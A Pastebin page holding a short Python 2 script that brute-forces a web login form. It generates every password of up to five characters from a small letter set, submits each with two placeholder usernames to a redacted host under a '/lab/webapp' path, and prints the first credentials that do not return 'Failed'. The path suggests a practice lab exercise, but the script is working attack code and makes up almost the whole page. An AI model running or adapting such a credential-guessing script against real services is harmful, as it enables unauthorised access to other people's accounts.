Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- '''
- '''
- import urllib2
- from termcolor import cprint,colored
- pass_list = 'xyz'
- for current in xrange(5):
- a = [i for i in pass_list]
- for y in xrange(current):
- a = [x+i for i in pass_list for x in a]
- username = ['username1','username2']
- for user in username:
- for pw in a :
- print "Username is %s and password is %s" %(user,pw)
- url = ('http://p...content-available-to-author-only...t.com/lab/webapp/1?email='+user+'&password='+pw)
- request = urllib2.Request(url)
- response = urllib2.urlopen(request)
- out = response.read()[2486:2492]
- print out
- if (out !="Failed"):
- cprint("Success with username"+user +" and password " + pw,'red')
- exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement